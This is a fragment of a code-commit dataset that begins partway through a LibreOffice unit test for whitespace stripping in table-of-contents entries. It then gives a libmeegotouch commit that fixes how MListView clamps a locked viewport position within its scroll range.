sut.GetPositionInStrippedString(3));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(3), sut.GetPositionInStrippedString(4));\n    }\n    {\n        OUString test(\"abc\\ndef\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(0), sut.GetPositionInStrippedString(0));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(1), sut.GetPositionInStrippedString(1));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(2), sut.GetPositionInStrippedString(2));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(3), sut.GetPositionInStrippedString(3));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(4), sut.GetPositionInStrippedString(4));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(5), sut.GetPositionInStrippedString(5));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(6), sut.GetPositionInStrippedString(6));\n    }\n    {\n        \/\/             012345 6789\n        OUString test(\"  abc \\ndef\");\n        \/\/             01234567\n        \/\/            \" abc def\"\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(0), sut.GetPositionInStrippedString(0));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(0), sut.GetPositionInStrippedString(1));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(1), sut.GetPositionInStrippedString(2));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(2), sut.GetPositionInStrippedString(3));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(3), sut.GetPositionInStrippedString(4));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(4), sut.GetPositionInStrippedString(5));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(4), sut.GetPositionInStrippedString(6));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(5), sut.GetPositionInStrippedString(7));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(6), sut.GetPositionInStrippedString(8));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(7), sut.GetPositionInStrippedString(9));\n    }\n}\n\nvoid\nToxWhitespaceStripperTest::StrippingWhitespacesFromVariousStringsWorks()\n{\n    {\n        OUString test(\"abc\\n\");\n        OUString expected(\"abc\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"abc\\n\\n\");\n        OUString expected(\"abc\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"abc\\ndef\");\n        OUString expected(\"abc def\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"  abc \\ndef\");\n        OUString expected(\" abc def\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"  \");\n        OUString expected(\"\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"d  \");\n        OUString expected(\"d\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n}\n\nvoid\nToxWhitespaceStripperTest::PositionAfterStringCanBeRequested()\n{\n    OUString test(\"abc\");\n    ToxWhitespaceStripper sut(test);\n    sal_Int32 expected = test.getLength();\n    CPPUNIT_ASSERT_EQUAL(expected, sut.GetPositionInStrippedString(test.getLength()));\n}\n\n\/\/ Put the test suite in the registry\nCPPUNIT_TEST_SUITE_REGISTRATION(ToxWhitespaceStripperTest);\n\nCPPUNIT_PLUGIN_IMPLEMENT();\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n**\n** Copyright (C) 2010, 2011 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libmeegotouch.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include <QList>\n#include <QVector>\n#include <QPropertyAnimation>\n#include <QStyleOptionGraphicsItem>\n\n#include <QGestureEvent>\n#include <QTapAndHoldGesture>\n\n#include <MList>\n#include <MWidgetView>\n#include <MSeparator>\n#include <MPannableViewport>\n\n#include \"mlistview.h\"\n#include \"mlistview_p.h\"\n\n\/\/\/\/ MListView \/\/\/\/\/\nMListView::MListView(MWidgetController *widgetController)\n    : MWidgetView(widgetController),\n    d_ptr(NULL)\n{\n    controller = dynamic_cast<MList *>(widgetController);\n}\n\nMListView::~MListView()\n{\n    if (d_ptr) {\n        if (!model()->headerCreator())\n            delete d_ptr->headersCreator;\n\n        delete d_ptr;\n    }\n}\n\nvoid MListView::init()\n{\n    Q_ASSERT(controller);\n\n    MCellCreator *headersCreator = NULL;\n\n    if(d_ptr) {\n        d_ptr->disconnectSignalsFromModelToListView();\n        headersCreator = d_ptr->headersCreator;\n\n        \/\/ Schedule deletion as we might have some events pending for delivery.\n        d_ptr->destroy();\n    }\n\n    if (model()->columns() > 1) {\n        if (model()->showGroups())\n            d_ptr = new MMultiColumnListViewPrivate;\n        else\n            d_ptr = new MPlainMultiColumnListViewPrivate;\n    } else {\n        if (model()->showGroups())\n            d_ptr = new MGroupHeaderListViewPrivate;\n        else\n            d_ptr = new MPlainListViewPrivate;\n    }\n\n    if (model()->headerCreator()) {\n        d_ptr->setHeadersCreator(model()->headerCreator());\n        if (model()->headerCreator() != headersCreator)\n            delete headersCreator;\n    } else\n        d_ptr->setHeadersCreator(headersCreator);\n\n    d_ptr->q_ptr = this;\n    d_ptr->controller = dynamic_cast<MList *>(controller);\n    d_ptr->createSeparators();\n    d_ptr->updateSeparators();\n    d_ptr->updateSeparatorSize();\n    d_ptr->updateAnimations();\n\n    connectSelectionModel();\n    d_ptr->connectPannableViewport();\n\n    d_ptr->resetModel(model());\n}\n\nvoid MListView::updateData(const QList<const char *>& modifications)\n{\n    MWidgetView::updateData(modifications);\n\n    const char *member;\n    for (int i = 0; i < modifications.count(); i++) {\n        member = modifications[i];\n\n        if (member == MListModel::ItemModel || member == MListModel::ShowGroups || member == MListModel::Columns || member == MListModel::CellCreator ||\n            member == MListModel::HeaderCreator) {\n            if (model()->itemModel()) {\n                init();\n                if (d_ptr->pannableViewport) {\n                    d_ptr->updateListGeometry();\n                } else {\n                    \/\/ Postpone the update of the list geometry to the next\n                    \/\/ event loop, otherwise too many cells get created without\n                    \/\/ having a pannable viewport.\n                    QTimer::singleShot(0, d_ptr, SLOT(updateListGeometry()));\n                }\n            }\n        } else if (member == MListModel::SelectionModel) {\n            connectSelectionModel();\n        } else if (member == MListModel::ScrollToIndex) {\n            scrollTo(model()->scrollToIndex(),\n                     static_cast<MList::ScrollHint>(model()->scrollHint()),\n                     static_cast<MList::AnimationMode>(model()->animationMode()));\n        } else if (member == MListModel::LongTap) {\n            longTap(model()->longTap());\n        } else if (member == MListModel::ListIndexDisplayMode) {\n            d_ptr->updateListIndexVisibility();\n        } else if (member == MListModel::LongTapEnabled) {\n            d_ptr->updateItemConnections();\n        }\n    }\n}\n\nvoid MListView::connectSelectionModel()\n{\n    if (d_ptr->selectionModel)\n        d_ptr->selectionModel->disconnect(this);\n\n    if (model()->selectionModel()) {\n        connect(model()->selectionModel(), SIGNAL(selectionChanged(QItemSelection, QItemSelection)),\n                this, SLOT(selectionChanged(QItemSelection, QItemSelection)));\n    }\n\n    d_ptr->selectionModel = model()->selectionModel();\n}\n\nvoid MListView::setupModel()\n{\n    MWidgetView::setupModel();\n\n    init();\n    updateGeometry();\n}\n\nvoid MListView::applyStyle()\n{\n    MWidgetView::applyStyle();\n\n    if (d_ptr) {        \n        d_ptr->clearVisibleItemsArray();\n        d_ptr->updateAnimations();\n        d_ptr->updateItemHeight();\n        d_ptr->updateSeparators();\n        d_ptr->updateSeparatorSize();\n        d_ptr->updateHeaders();\n        d_ptr->updateHeaderHeight();\n        d_ptr->updateListIndexStyle();\n\n        relayoutItemsInViewportRect();\n    }\n}\n\nvoid MListView::notifyItemChange(QGraphicsItem::GraphicsItemChange change, const QVariant &value)\n{\n    MWidgetView::notifyItemChange(change, value);\n\n    if(change == QGraphicsItem::ItemSceneHasChanged)\n        emit controller->parentChanged();\n}\n\nQSizeF MListView::sizeHint(Qt::SizeHint which, const QSizeF &constraint) const\n{\n    if (!d_ptr)\n        return MWidgetView::sizeHint(which, constraint);\n\n    return QSizeF(-1, d_ptr->totalHeight());\n}\n\nvoid MListView::setGeometry(const QRectF &rect)\n{\n    if (d_ptr) {\n        if (!d_ptr->pannableViewport)\n            d_ptr->viewportVisibleHeight = d_ptr->totalHeight();\n\n        d_ptr->updatePannableViewportPosition();\n\n        if (d_ptr->lastGeometrySize != rect.size() || d_ptr->clearVisibleOnRelayout) {\n            d_ptr->viewWidth = rect.width();\n            d_ptr->updateItemSize();\n            d_ptr->updateSeparatorSize();\n\n            if (d_ptr->lockPosition) {\n                d_ptr->lockPosition = false;\n                if (d_ptr->pannableViewport) {\n                    qreal heightDelta = rect.size().height() - d_ptr->lastGeometrySize.height();\n                    QPointF lockedViewportPosition = d_ptr->pannableViewport->position() + QPointF(0, heightDelta);\n                    if (heightDelta != 0 && d_ptr->pannableViewport->range().contains(lockedViewportPosition))\n                        d_ptr->pannableViewport->physics()->setPosition(lockedViewportPosition, false);\n                }\n            }\n\n            relayoutItemsInViewportRect();\n\n            d_ptr->scrollToLastIndex();\n            d_ptr->lastGeometrySize = rect.size();\n        }\n    }\n\n    MWidgetView::setGeometry(rect);\n}\n\nvoid MListView::relayoutItemsInViewportRect()\n{\n    if (d_ptr->clearVisibleOnRelayout) {\n        d_ptr->clearVisibleItemsArray();\n        d_ptr->clearFirstAndLastVisibleRows();\n        d_ptr->clearVisibleOnRelayout = false;\n    }\n\n    if (d_ptr->model && model()->cellCreator()) {\n        int rowCount = d_ptr->rowCount;\n\n        if (rowCount) {\n            QModelIndex firstVisibleIndex = d_ptr->locateVisibleIndexAt(d_ptr->viewportTopLeft.y());\n            d_ptr->updateFirstVisibleRow(firstVisibleIndex);\n            QModelIndex lastVisibleIndex = d_ptr->locateLastVisibleIndexInRowAt(d_ptr->viewportTopLeft.y() + d_ptr->viewportVisibleHeight);\n            d_ptr->updateLastVisibleRow(lastVisibleIndex);\n\n            QPoint firstVisibleItemPos(0, d_ptr->locatePosOfItem(firstVisibleIndex));\n            QPoint lastVisibleItemPos(0, d_ptr->locatePosOfItem(lastVisibleIndex));\n            d_ptr->removeInvisibleItems(firstVisibleItemPos, lastVisibleItemPos);\n\n            d_ptr->createVisibleItems(firstVisibleIndex, lastVisibleIndex);\n        } else {\n            d_ptr->clearVisibleItemsArray();\n            d_ptr->clearFirstAndLastVisibleRows();\n        }\n    }\n}\n\nvoid MListView::drawForeground(QPainter *painter, const QStyleOptionGraphicsItem *option) const\n{\n    Q_UNUSED(painter);\n    Q_UNUSED(option);\n}\n\nvoid MListView::drawBackground(QPainter *painter, const QStyleOptionGraphicsItem *option) const\n{\n    if (!d_ptr->clearVisibleOnRelayout)\n        d_ptr->drawSeparators(painter, option);\n}\n\nvoid MListView::dataChanged(const QModelIndex &topLeft, const QModelIndex &bottomRight)\n{\n    if (d_ptr->clearVisibleOnRelayout || (!model()->firstVisibleItem().isValid() && !model()->lastVisibleItem().isValid()))\n        return;\n\n    if (d_ptr->controller->isVisible()) {\n        const MCellCreator *cellCreator = model()->cellCreator();\n\n        int firstVisibleRow = d_ptr->indexToFlatRow(model()->firstVisibleItem());\n        int lastVisibleRow = d_ptr->indexToFlatRow(model()->lastVisibleItem());\n        int topLeftRow = d_ptr->indexToFlatRow(topLeft);\n        int bottomRightRow = d_ptr->indexToFlatRow(bottomRight);\n\n        int top = qMax(topLeftRow, firstVisibleRow);\n        int lastCellInLastVisibleRow = lastVisibleRow + model()->columns() - lastVisibleRow % model()->columns() - 1;\n        int bottom = qMin(bottomRightRow, lastCellInLastVisibleRow);\n\n        for (int i = top; i <= bottom; i++) {\n            QModelIndex cellIndex = d_ptr->flatRowToIndex(i);\n            if (!d_ptr->isGroupHeader(cellIndex)) {\n                MWidget *cell = d_ptr->findCellAtRow(i);\n                if (cell) {\n                    if( (controller->optimizationFlags() & MList::DontCallCreateCellDuringUpdate) == MList::DontCallCreateCellDuringUpdate) {\n                        cellCreator->updateCell(cellIndex, cell);\n                    } else {\n                        MWidget* newCell = d_ptr->createCell(i);\n                        d_ptr->replaceItem(cell, newCell);\n                    }\n                }\n            }\n        }\n    } else {\n        d_ptr->clearVisibleOnRelayout = true;\n    }\n}\n\n\/*!\n * This slot is called when items are inserted under the given \\a parent.\n * The changed items are those from \\a start to \\a end inclusive.\n *\n * \\sa QAbstractItemView::rowsInserted(), exposedRectUpdated()\n *\/\nvoid MListView::rowsInserted(const QModelIndex &parent, int start, int end, bool animated)\n{\n    if (!d_ptr->animateRowsInsertion(parent, start, end, animated)) {\n        int first = d_ptr->indexToFlatRow(model()->firstVisibleItem());\n        start = d_ptr->indexToFlatRow(model()->itemModel()->index(start, 0, parent));\n        end = d_ptr->indexToFlatRow(model()->itemModel()->index(end, 0, parent));\n        d_ptr->lockPosition = (start < first && end < first);\n        layoutChanged();\n    }\n}\n\n\/*!\n * This slot is called when items under the given \\a parent are removed.\n * The removed items are those from \\a start to \\a end inclusive.\n *\n * \\sa rowsInserted(), exposedRectUpdated()\n *\/\nvoid MListView::rowsRemoved(const QModelIndex &parent, int start, int end, bool animated)\n{\n    if (!d_ptr->animateRowsRemoval(parent, start, end, animated)) {\n        int first = d_ptr->indexToFlatRow(model()->firstVisibleItem());\n        start = d_ptr->indexToFlatRow(model()->itemModel()->index(start, 0, parent));\n        end = d_ptr->indexToFlatRow(model()->itemModel()->index(end, 0, parent));\n        d_ptr->lockPosition = (start < first && end < first);\n        layoutChanged();\n    }\n}\n\nvoid MListView::layoutChanged()\n{\n    if (!d_ptr->isAnimating()) {\n        d_ptr->layoutChanged();\n\n        d_ptr->clearVisibleOnRelayout = true;\n        d_ptr->clearFirstAndLastVisibleRows();\n        updateGeometry();\n\n        d_ptr->lastScrolledToFlatRow = -1;\n    }\n}\n\nvoid MListView::modelReset()\n{\n    layoutChanged();\n}\n\nvoid MListView::rowsMoved(const QModelIndex &sourceParent, int sourceStart, int sourceEnd,\n                                const QModelIndex &destinationParent, int destinationRow)\n{\n    Q_UNUSED(sourceParent);\n    Q_UNUSED(sourceStart);\n    Q_UNUSED(sourceEnd);\n    Q_UNUSED(destinationParent);\n    Q_UNUSED(destinationRow);\n\n    layoutChanged();\n}\n\nvoid MListView::selectionChanged(const QItemSelection &selected, const QItemSelection &deselected)\n{\n    d_ptr->selectionChange(selected, deselected);\n}\n\nvoid MListView::itemClick()\n{\n    QObject *s = sender();\n    MWidget *senderWidget = qobject_cast<MWidget *>(s);\n    if (senderWidget)\n        d_ptr->cellClicked(senderWidget);\n}\n\nvoid MListView::scrollTo(const QModelIndex &index, MList::ScrollHint hint, MList::AnimationMode mode)\n{\n    if (index.isValid()) {\n        int row = d_ptr->indexToFlatRow(index);\n        scrollTo(row, hint, mode);\n    }\n}\n\nvoid MListView::scrollTo(int row, MList::ScrollHint hint, MList::AnimationMode mode)\n{\n    if (row >= 0) {\n        d_ptr->lastScrolledToFlatRow = row;\n        if (d_ptr->pannableViewport) {\n            QPointF targetPosition = d_ptr->locateScrollToPosition(row, hint);\n\n            if (targetPosition != d_ptr->pannableViewport->position())\n                d_ptr->scrollToPos(targetPosition, mode);\n        }\n    }\n}\n\nvoid MListView::longTap(const QPointF &pos)\n{\n    QPointF relativePos = d_ptr->controller->mapFromScene(pos);\n    QModelIndex index = d_ptr->flatRowToIndex(d_ptr->locateVisibleRowAt(relativePos.y(), relativePos.x()));\n    d_ptr->cellLongTapped(index, pos);\n}\n\n#include \"moc_mlistview.cpp\"\n\nM_REGISTER_VIEW_NEW(MListView, MList)\n<commit_msg>Changes: MListView - properly detect if the locked viewport position is within the range.<commit_after>\/***************************************************************************\n**\n** Copyright (C) 2010, 2011 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libmeegotouch.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include <QList>\n#include <QVector>\n#include <QPropertyAnimation>\n#include <QStyleOptionGraphicsItem>\n\n#include <QGestureEvent>\n#include <QTapAndHoldGesture>\n\n#include <MList>\n#include <MWidgetView>\n#include <MSeparator>\n#include <MPannableViewport>\n\n#include \"mlistview.h\"\n#include \"mlistview_p.h\"\n\n\/\/\/\/ MListView \/\/\/\/\/\nMListView::MListView(MWidgetController *widgetController)\n    : MWidgetView(widgetController),\n    d_ptr(NULL)\n{\n    controller = dynamic_cast<MList *>(widgetController);\n}\n\nMListView::~MListView()\n{\n    if (d_ptr) {\n        if (!model()->headerCreator())\n            delete d_ptr->headersCreator;\n\n        delete d_ptr;\n    }\n}\n\nvoid MListView::init()\n{\n    Q_ASSERT(controller);\n\n    MCellCreator *headersCreator = NULL;\n\n    if(d_ptr) {\n        d_ptr->disconnectSignalsFromModelToListView();\n        headersCreator = d_ptr->headersCreator;\n\n        \/\/ Schedule deletion as we might have some events pending for delivery.\n        d_ptr->destroy();\n    }\n\n    if (model()->columns() > 1) {\n        if (model()->showGroups())\n            d_ptr = new MMultiColumnListViewPrivate;\n        else\n            d_ptr = new MPlainMultiColumnListViewPrivate;\n    } else {\n        if (model()->showGroups())\n            d_ptr = new MGroupHeaderListViewPrivate;\n        else\n            d_ptr = new MPlainListViewPrivate;\n    }\n\n    if (model()->headerCreator()) {\n        d_ptr->setHeadersCreator(model()->headerCreator());\n        if (model()->headerCreator() != headersCreator)\n            delete headersCreator;\n    } else\n        d_ptr->setHeadersCreator(headersCreator);\n\n    d_ptr->q_ptr = this;\n    d_ptr->controller = dynamic_cast<MList *>(controller);\n    d_ptr->createSeparators();\n    d_ptr->updateSeparators();\n    d_ptr->updateSeparatorSize();\n    d_ptr->updateAnimations();\n\n    connectSelectionModel();\n    d_ptr->connectPannableViewport();\n\n    d_ptr->resetModel(model());\n}\n\nvoid MListView::updateData(const QList<const char *>& modifications)\n{\n    MWidgetView::updateData(modifications);\n\n    const char *member;\n    for (int i = 0; i < modifications.count(); i++) {\n        member = modifications[i];\n\n        if (member == MListModel::ItemModel || member == MListModel::ShowGroups || member == MListModel::Columns || member == MListModel::CellCreator ||\n            member == MListModel::HeaderCreator) {\n            if (model()->itemModel()) {\n                init();\n                if (d_ptr->pannableViewport) {\n                    d_ptr->updateListGeometry();\n                } else {\n                    \/\/ Postpone the update of the list geometry to the next\n                    \/\/ event loop, otherwise too many cells get created without\n                    \/\/ having a pannable viewport.\n                    QTimer::singleShot(0, d_ptr, SLOT(updateListGeometry()));\n                }\n            }\n        } else if (member == MListModel::SelectionModel) {\n            connectSelectionModel();\n        } else if (member == MListModel::ScrollToIndex) {\n            scrollTo(model()->scrollToIndex(),\n                     static_cast<MList::ScrollHint>(model()->scrollHint()),\n                     static_cast<MList::AnimationMode>(model()->animationMode()));\n        } else if (member == MListModel::LongTap) {\n            longTap(model()->longTap());\n        } else if (member == MListModel::ListIndexDisplayMode) {\n            d_ptr->updateListIndexVisibility();\n        } else if (member == MListModel::LongTapEnabled) {\n            d_ptr->updateItemConnections();\n        }\n    }\n}\n\nvoid MListView::connectSelectionModel()\n{\n    if (d_ptr->selectionModel)\n        d_ptr->selectionModel->disconnect(this);\n\n    if (model()->selectionModel()) {\n        connect(model()->selectionModel(), SIGNAL(selectionChanged(QItemSelection, QItemSelection)),\n                this, SLOT(selectionChanged(QItemSelection, QItemSelection)));\n    }\n\n    d_ptr->selectionModel = model()->selectionModel();\n}\n\nvoid MListView::setupModel()\n{\n    MWidgetView::setupModel();\n\n    init();\n    updateGeometry();\n}\n\nvoid MListView::applyStyle()\n{\n    MWidgetView::applyStyle();\n\n    if (d_ptr) {        \n        d_ptr->clearVisibleItemsArray();\n        d_ptr->updateAnimations();\n        d_ptr->updateItemHeight();\n        d_ptr->updateSeparators();\n        d_ptr->updateSeparatorSize();\n        d_ptr->updateHeaders();\n        d_ptr->updateHeaderHeight();\n        d_ptr->updateListIndexStyle();\n\n        relayoutItemsInViewportRect();\n    }\n}\n\nvoid MListView::notifyItemChange(QGraphicsItem::GraphicsItemChange change, const QVariant &value)\n{\n    MWidgetView::notifyItemChange(change, value);\n\n    if(change == QGraphicsItem::ItemSceneHasChanged)\n        emit controller->parentChanged();\n}\n\nQSizeF MListView::sizeHint(Qt::SizeHint which, const QSizeF &constraint) const\n{\n    if (!d_ptr)\n        return MWidgetView::sizeHint(which, constraint);\n\n    return QSizeF(-1, d_ptr->totalHeight());\n}\n\nvoid MListView::setGeometry(const QRectF &rect)\n{\n    if (d_ptr) {\n        if (!d_ptr->pannableViewport)\n            d_ptr->viewportVisibleHeight = d_ptr->totalHeight();\n\n        d_ptr->updatePannableViewportPosition();\n\n        if (d_ptr->lastGeometrySize != rect.size() || d_ptr->clearVisibleOnRelayout) {\n            d_ptr->viewWidth = rect.width();\n            d_ptr->updateItemSize();\n            d_ptr->updateSeparatorSize();\n\n            if (d_ptr->lockPosition) {\n                d_ptr->lockPosition = false;\n                if (d_ptr->pannableViewport &&\n                        d_ptr->lastGeometrySize.height() != 0 && rect.size().height() != 0) {\n                    qreal heightDelta = rect.size().height() - d_ptr->lastGeometrySize.height();\n                    QRectF viewportRange = d_ptr->pannableViewport->range();\n                    if ((int)heightDelta != 0 && viewportRange.height() > 0) {\n                        QPointF lockedViewportPosition = d_ptr->pannableViewport->position();\n                        lockedViewportPosition.setY(qBound(viewportRange.top(),\n                                                           lockedViewportPosition.y() + heightDelta,\n                                                           viewportRange.bottom()));\n                        d_ptr->pannableViewport->physics()->setPosition(lockedViewportPosition, false);\n                    }\n                }\n            }\n\n            relayoutItemsInViewportRect();\n\n            d_ptr->scrollToLastIndex();\n            d_ptr->lastGeometrySize = rect.size();\n        }\n    }\n\n    MWidgetView::setGeometry(rect);\n}\n\nvoid MListView::relayoutItemsInViewportRect()\n{\n    if (d_ptr->clearVisibleOnRelayout) {\n        d_ptr->clearVisibleItemsArray();\n        d_ptr->clearFirstAndLastVisibleRows();\n        d_ptr->clearVisibleOnRelayout = false;\n    }\n\n    if (d_ptr->model && model()->cellCreator()) {\n        int rowCount = d_ptr->rowCount;\n\n        if (rowCount) {\n            QModelIndex firstVisibleIndex = d_ptr->locateVisibleIndexAt(d_ptr->viewportTopLeft.y());\n            d_ptr->updateFirstVisibleRow(firstVisibleIndex);\n            QModelIndex lastVisibleIndex = d_ptr->locateLastVisibleIndexInRowAt(d_ptr->viewportTopLeft.y() + d_ptr->viewportVisibleHeight);\n            d_ptr->updateLastVisibleRow(lastVisibleIndex);\n\n            QPoint firstVisibleItemPos(0, d_ptr->locatePosOfItem(firstVisibleIndex));\n            QPoint lastVisibleItemPos(0, d_ptr->locatePosOfItem(lastVisibleIndex));\n            d_ptr->removeInvisibleItems(firstVisibleItemPos, lastVisibleItemPos);\n\n            d_ptr->createVisibleItems(firstVisibleIndex, lastVisibleIndex);\n        } else {\n            d_ptr->clearVisibleItemsArray();\n            d_ptr->clearFirstAndLastVisibleRows();\n        }\n    }\n}\n\nvoid MListView::drawForeground(QPainter *painter, const QStyleOptionGraphicsItem *option) const\n{\n    Q_UNUSED(painter);\n    Q_UNUSED(option);\n}\n\nvoid MListView::drawBackground(QPainter *painter, const QStyleOptionGraphicsItem *option) const\n{\n    if (!d_ptr->clearVisibleOnRelayout)\n        d_ptr->drawSeparators(painter, option);\n}\n\nvoid MListView::dataChanged(const QModelIndex &topLeft, const QModelIndex &bottomRight)\n{\n    if (d_ptr->clearVisibleOnRelayout || (!model()->firstVisibleItem().isValid() && !model()->lastVisibleItem().isValid()))\n        return;\n\n    if (d_ptr->controller->isVisible()) {\n        const MCellCreator *cellCreator = model()->cellCreator();\n\n        int firstVisibleRow = d_ptr->indexToFlatRow(model()->firstVisibleItem());\n        int lastVisibleRow = d_ptr->indexToFlatRow(model()->lastVisibleItem());\n        int topLeftRow = d_ptr->indexToFlatRow(topLeft);\n        int bottomRightRow = d_ptr->indexToFlatRow(bottomRight);\n\n        int top = qMax(topLeftRow, firstVisibleRow);\n        int lastCellInLastVisibleRow = lastVisibleRow + model()->columns() - lastVisibleRow % model()->columns() - 1;\n        int bottom = qMin(bottomRightRow, lastCellInLastVisibleRow);\n\n        for (int i = top; i <= bottom; i++) {\n            QModelIndex cellIndex = d_ptr->flatRowToIndex(i);\n            if (!d_ptr->isGroupHeader(cellIndex)) {\n                MWidget *cell = d_ptr->findCellAtRow(i);\n                if (cell) {\n                    if( (controller->optimizationFlags() & MList::DontCallCreateCellDuringUpdate) == MList::DontCallCreateCellDuringUpdate) {\n                        cellCreator->updateCell(cellIndex, cell);\n                    } else {\n                        MWidget* newCell = d_ptr->createCell(i);\n                        d_ptr->replaceItem(cell, newCell);\n                    }\n                }\n            }\n        }\n    } else {\n        d_ptr->clearVisibleOnRelayout = true;\n    }\n}\n\n\/*!\n * This slot is called when items are inserted under the given \\a parent.\n * The changed items are those from \\a start to \\a end inclusive.\n *\n * \\sa QAbstractItemView::rowsInserted(), exposedRectUpdated()\n *\/\nvoid MListView::rowsInserted(const QModelIndex &parent, int start, int end, bool animated)\n{\n    if (!d_ptr->animateRowsInsertion(parent, start, end, animated)) {\n        int first = d_ptr->indexToFlatRow(model()->firstVisibleItem());\n        start = d_ptr->indexToFlatRow(model()->itemModel()->index(start, 0, parent));\n        end = d_ptr->indexToFlatRow(model()->itemModel()->index(end, 0, parent));\n        d_ptr->lockPosition = (start < first && end < first);\n        layoutChanged();\n    }\n}\n\n\/*!\n * This slot is called when items under the given \\a parent are removed.\n * The removed items are those from \\a start to \\a end inclusive.\n *\n * \\sa rowsInserted(), exposedRectUpdated()\n *\/\nvoid MListView::rowsRemoved(const QModelIndex &parent, int start, int end, bool animated)\n{\n    if (!d_ptr->animateRowsRemoval(parent, start, end, animated)) {\n        int first = d_ptr->indexToFlatRow(model()->firstVisibleItem());\n        start = d_ptr->indexToFlatRow(model()->itemModel()->index(start, 0, parent));\n        end = d_ptr->indexToFlatRow(model()->itemModel()->index(end, 0, parent));\n        d_ptr->lockPosition = (start < first && end < first);\n        layoutChanged();\n    }\n}\n\nvoid MListView::layoutChanged()\n{\n    if (!d_ptr->isAnimating()) {\n        d_ptr->layoutChanged();\n\n        d_ptr->clearVisibleOnRelayout = true;\n        d_ptr->clearFirstAndLastVisibleRows();\n        updateGeometry();\n\n        d_ptr->lastScrolledToFlatRow = -1;\n    }\n}\n\nvoid MListView::modelReset()\n{\n    layoutChanged();\n}\n\nvoid MListView::rowsMoved(const QModelIndex &sourceParent, int sourceStart, int sourceEnd,\n                                const QModelIndex &destinationParent, int destinationRow)\n{\n    Q_UNUSED(sourceParent);\n    Q_UNUSED(sourceStart);\n    Q_UNUSED(sourceEnd);\n    Q_UNUSED(destinationParent);\n    Q_UNUSED(destinationRow);\n\n    layoutChanged();\n}\n\nvoid MListView::selectionChanged(const QItemSelection &selected, const QItemSelection &deselected)\n{\n    d_ptr->selectionChange(selected, deselected);\n}\n\nvoid MListView::itemClick()\n{\n    QObject *s = sender();\n    MWidget *senderWidget = qobject_cast<MWidget *>(s);\n    if (senderWidget)\n        d_ptr->cellClicked(senderWidget);\n}\n\nvoid MListView::scrollTo(const QModelIndex &index, MList::ScrollHint hint, MList::AnimationMode mode)\n{\n    if (index.isValid()) {\n        int row = d_ptr->indexToFlatRow(index);\n        scrollTo(row, hint, mode);\n    }\n}\n\nvoid MListView::scrollTo(int row, MList::ScrollHint hint, MList::AnimationMode mode)\n{\n    if (row >= 0) {\n        d_ptr->lastScrolledToFlatRow = row;\n        if (d_ptr->pannableViewport) {\n            QPointF targetPosition = d_ptr->locateScrollToPosition(row, hint);\n\n            if (targetPosition != d_ptr->pannableViewport->position())\n                d_ptr->scrollToPos(targetPosition, mode);\n        }\n    }\n}\n\nvoid MListView::longTap(const QPointF &pos)\n{\n    QPointF relativePos = d_ptr->controller->mapFromScene(pos);\n    QModelIndex index = d_ptr->flatRowToIndex(d_ptr->locateVisibleRowAt(relativePos.y(), relativePos.x()));\n    d_ptr->cellLongTapped(index, pos);\n}\n\n#include \"moc_mlistview.cpp\"\n\nM_REGISTER_VIEW_NEW(MListView, MList)\n<|endoftext|>"}
